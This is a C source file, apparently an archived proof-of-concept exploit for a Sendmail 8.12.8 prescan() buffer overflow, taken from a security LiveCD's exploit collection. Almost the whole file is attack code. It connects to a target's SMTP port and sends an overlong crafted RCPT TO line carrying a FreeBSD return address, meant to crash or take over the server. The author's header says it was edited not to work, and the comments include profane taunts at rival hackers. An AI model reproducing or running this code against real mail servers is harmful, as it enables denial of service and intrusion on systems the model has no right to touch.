home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / bysin2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  207 lines

  1. /*
  2.  * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
  3.  *      And no i'm not in l33tsecurity
  4.  *
  5.  * AND I'M NOT GOBBLES!
  6.  *
  7.  * --
  8.  * my reflection, dirty mirror 
  9.  * there's no connection to myself
  10.  * i'm your lover. i'm your zero
  11.  * i'm the face in your dreams of glass
  12.  * so save your prayers for when we're really gonna need 'em
  13.  * throw out your cares and fly
  14.  * wanna go for a ride?
  15.  * --
  16.  *
  17.  * This exploit is proof of concept, It has been edited ***NOT*** to work.
  18.  * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
  19.  * On sucessful POC exploitation the program should crash with the following:
  20.  *
  21.  * Program received signal SIGSEGV, Segmentation fault.
  22.  * 0x5c5c5c5c in ?? ()
  23.  *
  24.  * Alright so the last sendmail exploit wasnt very good, dont blame me
  25.  * it wasnt exploitable cause of that god damn second buffer kept
  26.  * getting in the way. Fuck it.
  27.  *
  28.  * This would not work on linux cause the offset for addr was someshit like
  29.  * 0xbfffb9c9 and sendmail doesnt allow certain characters like 0xff to be
  30.  * written to the buffer.  Bsd on the other hand has an offset of someshit like
  31.  * 0xbfbfdad1, which is fine.
  32.  *     {"Red Hat 7.3",88,120,0xbfffb9c9} // wont work :(
  33.  *
  34.  * And fuck you PHC you no talent bunch of fucking script kiddies.  You'll
  35.  * fucking shit your pants when you see a real hacker in action.  No I dont
  36.  * rip code, but you bitchs cant tell a piece of code from an apple pie,
  37.  * so shut the fuck up.
  38.  *
  39.  */
  40.  
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <sys/time.h>
  44. #include <netinet/in.h>
  45. #include <unistd.h>
  46. #include <netdb.h>
  47. #include <stdio.h>
  48. #include <fcntl.h>
  49. #include <errno.h>
  50.  
  51. int maxarch=1;
  52. struct arch {
  53.     char *os; // The OS
  54.     int pos; // The position of ebp in the stack, with the last byte being 0x00
  55.     int apos; // The amount of bytes after pvpbuf where ebp is located
  56.     unsigned long addr; // The pointer to the addr buffer
  57. } archs[] = {
  58.     {"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1},
  59. };
  60.  
  61.  
  62. /////////////////////////////////////////////////////////
  63.  
  64. #define BUFSIZE 50096
  65.  
  66. void header() {
  67.     printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n");
  68. }
  69.  
  70. void printtargets() {
  71.     unsigned long i;
  72.     header();
  73.     printf("\t  Target\t Addr\t\t OS\n");
  74.     printf("\t-------------------------------------------\n");
  75.     for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].addr,archs[i].os);
  76.     printf("\n");
  77. }
  78.  
  79. void printresponse(char *a) {
  80.     printf("%s\n",a);
  81. }
  82.  
  83. void writesocket(int sock, char *buf) {
  84.     if (send(sock,buf,strlen(buf),0) <= 0) {
  85.         printf("Error writing to socket\n");
  86.         exit(0);
  87.     }
  88.     printresponse(buf);
  89. }
  90.  
  91. void readsocket(int sock, int response) {
  92.     char temp[BUFSIZE];
  93.     memset(temp,0,sizeof(temp));
  94.     if (recv(sock,temp,sizeof(temp),0) <= 0) {
  95.         printf("Error reading from socket\n");
  96.         exit(0);
  97.     }
  98.     if (response != atol(temp)) {
  99.         printf("Bad response: %s\n",temp);
  100.         exit(0);
  101.     }
  102.     else printresponse(temp);
  103. }
  104.  
  105. void relay(int sock) {
  106.     while(1) {
  107.         char temp[BUFSIZE];
  108.         memset(temp,0,sizeof(temp));
  109.         if (recv(sock,temp,sizeof(temp),0) <= 0) {
  110.             printf("Server vulnerable (crashed)\n");
  111.             exit(0);
  112.         }
  113.         printresponse(temp);
  114.         if (atol(temp) == 553) {
  115.             printf("Not exploitable\n");
  116.             exit(0);
  117.         }
  118.     }
  119. }
  120.  
  121. int main(int argc, char **argv) {
  122.     struct sockaddr_in server;
  123.     unsigned long ipaddr,i,j,m;
  124.     int sock,target;
  125.     char tmp[BUFSIZE],buf[BUFSIZE],*p,*pos=NULL;
  126.     if (argc <= 2) {
  127.         printf("%s <target ip> <target number>\n",argv[0]);
  128.         printtargets();
  129.         return 0;
  130.     }
  131.     target=atol(argv[2]);
  132.     if (target < 0 || target >= maxarch) {
  133.         printtargets();
  134.         return 0;
  135.     }
  136.  
  137.     header();
  138.  
  139.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  140.         printf("Unable to create socket\n");
  141.         exit(0);
  142.     }
  143.     server.sin_family = AF_INET;
  144.     server.sin_port = htons(25);
  145.     printf("Resolving address... ");
  146.     fflush(stdout);
  147.     if ((ipaddr = inet_addr(argv[1])) == -1) {
  148.         struct hostent *hostm;
  149.         if ((hostm=gethostbyname(argv[1])) == NULL) {
  150.             printf("Unable to resolve address\n");
  151.             exit(0);
  152.         }
  153.         memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  154.     }
  155.     else server.sin_addr.s_addr = ipaddr;
  156.     memset(&(server.sin_zero), 0, 8);
  157.     printf("Address found\n");
  158.     printf("Connecting... ");
  159.     fflush(stdout);
  160.     if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
  161.         printf("Unable to connect\n");
  162.         exit(0);
  163.     }
  164.     printf("Connected\n");
  165.     printf("Sending exploit... \n");
  166.     fflush(stdout);
  167.  
  168.     readsocket(sock,220);
  169.  
  170.     writesocket(sock,"HELO yahoo.com\r\n");
  171.     readsocket(sock,250);
  172.  
  173.     writesocket(sock,"MAIL FROM: <a@yahoo.com>\r\n");
  174.     readsocket(sock,250);
  175.  
  176.     memset(buf,0,sizeof(buf));
  177.     strcpy(buf,"RCPT TO: ");
  178.     p=buf+strlen(buf);
  179.     for (i=1,j=0,m=0;i<1242;i++) {
  180.         if (!(i%256)) {
  181.             *p++=';';
  182.             j++;
  183.         }
  184.         else {
  185.             if (j < 4) *p++='A';
  186.             else {
  187.                 if (m == archs[target].pos) pos=p;
  188.                 //if (m > archs[target].pos) *p++='B'; else
  189.                 *p++='A';
  190.                 m++;
  191.             }
  192.         }
  193.     }
  194.     if (pos) memcpy(pos,(char*)&archs[target].addr,4);
  195.     *p++=';';
  196.     for (i=0;i<archs[target].apos;i++) {
  197.         *p++='\\';
  198.         *p++=0xff;
  199.     }
  200.     strcat(buf,"\r\n");
  201.     writesocket(sock,buf);
  202.  
  203.     relay(sock);
  204. }
  205.  
  206.  
  207.